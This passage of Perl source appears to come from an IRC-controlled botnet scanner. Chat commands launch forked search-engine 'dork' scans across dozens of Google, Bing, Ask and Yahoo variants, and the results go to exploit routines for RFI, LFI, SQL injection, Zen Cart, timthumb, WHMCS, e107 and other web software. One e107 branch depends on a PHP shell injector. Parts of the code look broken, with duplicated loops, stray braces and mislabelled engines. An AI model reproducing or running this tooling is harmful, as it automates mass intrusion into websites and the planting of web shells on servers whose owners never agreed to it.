
                if ($msg=~ /^$zencmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
                            &msg("$path","$zenlogo 9Dork :4 $dork");
                            &msg("$path","$zenlogo 13Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,8);
                        }
                        exit;
                    }
                }
                ##################################################################### ZEN SCAN

                if ($msg=~ /^$zencmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ("admin/record_company.php",$1);
                            &scan_start($path,$bug,$dork,$engine,8);
                        }
                        exit;
                    }
                }
				##################################################################### TIMTHUMB.PHP SCAN  (ADDED)
                
                if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$thumblogo 9Dork :4 $dork");
                            &msg("$path","$thumblogo 13Bugz :4 $bug");
                            &msg("$path","$thumblogo 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,9);
                        }
                        exit;
                    }
                }
        ##################################################################### e107 SCAN

                if ($msg=~ /^$e107cmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            if (&isFound($injector,"<?php")) {
                                my ($bug,$dork) = ("contact.php",$1);
                                &msg("$path","$e107logo 9Dork :4 $dork");
                                &msg("$path","$e107logo 13Bugz :4 $bug");
                                &msg("$path","$e107logo 3Search Engine Loading ...");
                                &scan_start($path,$bug,$dork,$engine,12);
                            } else {
                                &msg("$path","[ $nick ] $e107logo 4PHP Shell Not Found!");
                            }
                        }
                        exit;
                    }
                }
      ##################################################################### E107SQL SCAN

                if ($msg=~ /^$esqlcmd\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
			 my ($bug,$dork) = ("contact.php",$1);
                            &msg("$path","$e107logosql 9Dork :4 $dork")
                            &msg("$path","$e107logosql 3Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,13);
                        }
                        exit;
                    }
                }		
				#####################################################################
				
				                if ($msg=~ /^$toolcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ("login.php",$1);
                            &msg("$path","$toolstore 9Dork :4 $dork");
                            &msg("$path","$toolstore 8Search Engine Loading ...");
                            &scan_start($path,$bug,$dork,$engine,10);
                        }
                        exit;
                    }
                }
				##################################################################### TOOLSTORE-SCAN				
            }
        }

        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                &parse("$line");
            } else {
                if ($#lines == 0) {
                    &parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    &parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    &parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
    }
}

                 if ($msg=~ /^$whmcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$whmlogo 3D14ork :4 $dork");
                            &msg("$path","$whmlogo 3B14ugz :4 $bug");
                            &msg("$path","$whmlogo 14[-] 3E14xploiting WHMCS start...");
                            &scan_start($path,$bug,$dork,$engine,11);
                        }
                        exit;
                    }
                }
        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {
                &parse("$line");
            } else {
                if ($#lines == 0) {
                    &parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    &parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    &parse("$line");
                } else {
                    $line_temp = $line;
                    }
                }
#########################################
sub type () {
my ($chan,$bug,$dork,$engine,$type) = @_;
	   if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
	elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
	elsif ($type == 3){&xml($chan,$bug,$dork,$engine);}
	elsif ($type == 4){&sql($chan,$bug,$dork,$engine);}
	elsif ($type == 5){&osco($chan,$bug,$dork,$engine);}
	elsif ($type == 6){&loko($chan,$bug,$dork,$engine);}
	elsif ($type == 7){&op($chan,$bug,$dork,$engine);}
	elsif ($type == 8){&zen($chan,$bug,$dork,$engine);}
	elsif ($type == 9){&thumb($chan,$bug,$dork,$engine);}
	elsif ($type == 10){&toolstors($chan,$bug,$dork,$engine);}
	elsif ($type == 11){&whm($chan,$bug,$dork,$engine);}
	elsif ($type == 12){&e107($chan,$bug,$dork,$engine);}
	elsif ($type == 13){&e107xpl($chan,$bug,$dork,$engine);}
}
sub scan_start() {
my ($chan,$bug,$dork,$engine,$type) = @_;
    if ($engine =~ /google/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe",$type);
        } exit; }
    }

    if ($engine =~ /google2/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGle2",$type);
        } exit; }
    }

    if ($engine =~ /bing/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"Bing",$type);
        } exit; }
    }

    if ($engine =~ /altavista/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"ALtaViSTa",$type);
        } exit; }
    }

    if ($engine =~ /google3/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe3",$type);
        } exit; }
    }
    
    if ($engine =~ /google4/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe4",$type);
        } exit; }
    }
    
    if ($engine =~ /google5/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe5",$type);
        } exit; }
    }

    if ($engine =~ /GOOGDE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGDE",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGUK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGUK",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGFR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGFR",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGES/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGES",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGIT/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGIT",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGNL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGNL",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGSE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGSE",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGAU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGNO",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGBR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGBR",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGCO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGCO",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGNO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGAU",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGRU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGRU",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGPL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGPL",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGIL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGIL",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGJP/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGJP",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGCN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGCN",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGIN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGIN",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGKR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGKR",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGRO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGRO",$type);
        } exit; }
    }
    
    if ($engine =~ /GOOGZA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GOOGZA",$type);
        } exit; }
    } 
    
      	if ($engine =~ /jackro/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackRO",$type); 
	} exit; }
    }

	if ($engine =~ /jacktw/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackTW",$type); 
	} exit; }
    }

	if ($engine =~ /jackeu/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackEU",$type); 
	} exit; }
    }

	if ($engine =~ /jackse/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackSE",$type); 
	} exit; }
    }

	if ($engine =~ /jackau/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackAU",$type); 
	} exit; }
    }

	if ($engine =~ /jackorg/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackORG",$type); 
	} exit; }
    }

	if ($engine =~ /jackpl/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackPL",$type); 
	} exit; }
    }

	if ($engine =~ /jackru/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackRU",$type); 
	} exit; }
    }

	if ($engine =~ /jackmy/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackMY",$type); 
	} exit; }
    }

	if ($engine =~ /jacklv/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackLV",$type); 
	} exit; }
    }

	if ($engine =~ /jackkr/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackKR",$type); 
	} exit; }
    }

	if ($engine =~ /jackdk/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackDK",$type); 
	} exit; }
    }

	if ($engine =~ /jackde/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackDE",$type); 
	} exit; }
    }

	if ($engine =~ /jackcl/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackCL",$type); 
	} exit; }
    }

	if ($engine =~ /jackcom/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
	&type($chan,$bug,$dork,"JackCOM",$type); 
	} exit; }
    }
   
    if ($engine =~ /google6/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe6",$type);
        } exit; }
    }
    
    if ($engine =~ /google7/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe7",$type);
        } exit; }
    }
    
    if ($engine =~ /google8/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe8",$type);
        } exit; }
    }
    
    if ($engine =~ /google9/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLe9",$type);
        } exit; }
    }
    
    if ($engine =~ /googlea1/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLea1",$type);
        } exit; }
    }
    
    if ($engine =~ /googlea2/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLea2",$type);
        } exit; }
    }
    
    if ($engine =~ /googlec1/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeC1",$type);
        } exit; }
    }
    
    if ($engine =~ /googlec2/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeC2",$type);
        } exit; }
    }
    
    if ($engine =~ /googlec3/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeC3",$type);
        } exit; }
    }
    
    if ($engine =~ /googlec4/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeC4",$type);
        } exit; }
    }
    
    if ($engine =~ /googlec5/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeC5",$type);
        } exit; }
    } 

    if ($engine =~ /googleDE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeDE",$type);
        } exit; }
    }
    
    if ($engine =~ /googleUK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeUK",$type);
        } exit; }
    }
    
    if ($engine =~ /googleFR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeFR",$type);
        } exit; }
    }
    
    if ($engine =~ /googleES/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeES",$type);
        } exit; }
    }
    
    if ($engine =~ /googleIT/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeIT",$type);
        } exit; }
    }
    
    if ($engine =~ /googleNL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeNL",$type);
        } exit; }
    }
    
    if ($engine =~ /googleSE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeSE",$type);
        } exit; }
    }
    
    if ($engine =~ /googleAU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeNO",$type);
        } exit; }
    }
    
    if ($engine =~ /googleBR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeBR",$type);
        } exit; }
    }
    
    if ($engine =~ /googleCO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeCO",$type);
        } exit; }
    }
    
    if ($engine =~ /googleNO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeAU",$type);
        } exit; }
    }
    
    if ($engine =~ /googleRU/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeRU",$type);
        } exit; }
    }
    
    if ($engine =~ /googlePL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLePL",$type);
        } exit; }
    }
    
    if ($engine =~ /googleIL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeIL",$type);
        } exit; }
    }
    
    if ($engine =~ /googleJP/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeJP",$type);
        } exit; }
    }
    
    if ($engine =~ /googleCN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeCN",$type);
        } exit; }
    }
    
    if ($engine =~ /googleIN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeIN",$type);
        } exit; }
    }

    if ($engine =~ /googleKR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeKR",$type);
        } exit; }
    }
    
    if ($engine =~ /googleRO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeRO",$type);
        } exit; }
    }
    
    if ($engine =~ /googleZA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"GooGLeZA",$type);
        } exit; }
    }

    if ($engine =~ /ask/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"AsK",$type);
        } exit; }
    }

    if ($engine =~ /uol/i) {
        if ($pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
		&type($chan,$bug,$dork,"UoL",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGCANADA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGCANADA",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGDENMARK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGDENMARK",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGITALY/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGITALY",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGUNITEDKINGDOM/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGUNITEDKINGDOM",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGFRANCE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGFRANCE",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGESPANION/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGESPANION",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGRUSSIA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGRUSSIA",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGNETHERLANDS/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGNETHERLANDS",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGPOLAND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGPOLAND",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGARGENTINA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGARGENTINA",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGSECOND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGSECOND",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGDENMARK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGDENMARK",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGNORWAY/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGNORWAY",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGAUSTRALIA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGAUSTRALIA",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGBRAZIL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGBRAZIL",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGMEXICO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGMEXICO",$type);
        } exit; }
    }
    if ($engine =~ /ASKINGJAPAN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"ASKINGJAPAN",$type);
        } exit; }
    }
    if ($engine =~ /bingDE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingGERMANY",$type);
        } exit; }
    }
    if ($engine =~ /BingUNITEDKINGDOM/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingUNITEDKINGDOM",$type);
        } exit; }
    }
    if ($engine =~ /BingCANADA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingCANADA",$type);
        } exit; }
    }
    if ($engine =~ /BingBRAZIL/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingBRAZIL",$type);
        } exit; }
    }
    if ($engine =~ /BingFRANCE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingFRANCE",$type);
        } exit; }
    }
    if ($engine =~ /BingESPANION/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingESPANION",$type);
        } exit; }
    }
    if ($engine =~ /BingITALY/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingITALY",$type);
        } exit; }
    }
    if ($engine =~ /BingBELGIUM/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingBELGIUM",$type);
        } exit; }
    }
    if ($engine =~ /BingNETHERLAND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingNETHERLAND",$type);
        } exit; }
    }
    if ($engine =~ /BingPORTLAND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingPORTLAND",$type);
        } exit; }
    }
    if ($engine =~ /BingNORWAY/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingNORWAY",$type);
        } exit; }
    }
    if ($engine =~ /BingDENMARK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingDENMARK",$type);
        } exit; }
    }
    if ($engine =~ /BingSECOND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingSECOND",$type);
        } exit; }
    }
    if ($engine =~ /BingCHILIE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingCHILIE",$type);
        } exit; }
    }
    if ($engine =~ /BingNEWZEALAND/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingNEWZEALAND",$type);
        } exit; }
    }
    if ($engine =~ /BingRUSSIA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingRUSSIA",$type);
        } exit; }
    }
    if ($engine =~ /BingJAPAN/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingJAPAN",$type);
        } exit; }
    }
    if ($engine =~ /BingCHINA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingCHINA",$type);
        } exit; }
    }
    if ($engine =~ /BingKOREA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingKOREA",$type);
        } exit; }
    }
    if ($engine =~ /BingMEXICO/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingMEXICO",$type);
        } exit; }
    }
    if ($engine =~ /BingARGENTINA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingARGENTINA",$type);
        } exit; }
    }
    if ($engine =~ /BingCLUE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingCLUE",$type);
        } exit; }
    }
    if ($engine =~ /BingAUSTRALIA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"BingAUSTRALIA",$type);
        } exit; }
    }
    if ($engine =~ /yahooCA/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoCA",$type);
        } exit; }
    }
    if ($engine =~ /yahooUK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoUK",$type);
        } exit; }
    }
    if ($engine =~ /yahooDE/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoDE",$type);
        } exit; }
    }
    if ($engine =~ /yahooFR/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoFR",$type);
        } exit; }
    }
    if ($engine =~ /yahooES/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoES",$type);
        } exit; }
    }
    if ($engine =~ /yahooIT/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoIT",$type);
        } exit; }
    }
    if ($engine =~ /yahooHK/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoHK",$type);
        } exit; }
    }
    if ($engine =~ /yahooID/i) {
        if (my $pid = fork) { waitpid($pid, 0); }
        else { if (fork) { exit; } else {
        &type($chan,$bug,$dork,"YahOoID",$type);
        } exit; }
    }
